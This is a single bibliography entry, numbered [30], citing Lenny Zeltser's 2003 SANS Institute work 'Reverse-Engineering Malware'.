[30] Zeltser, Lenny. Reverse-Engineering Malware. The SANS Institute. 2003.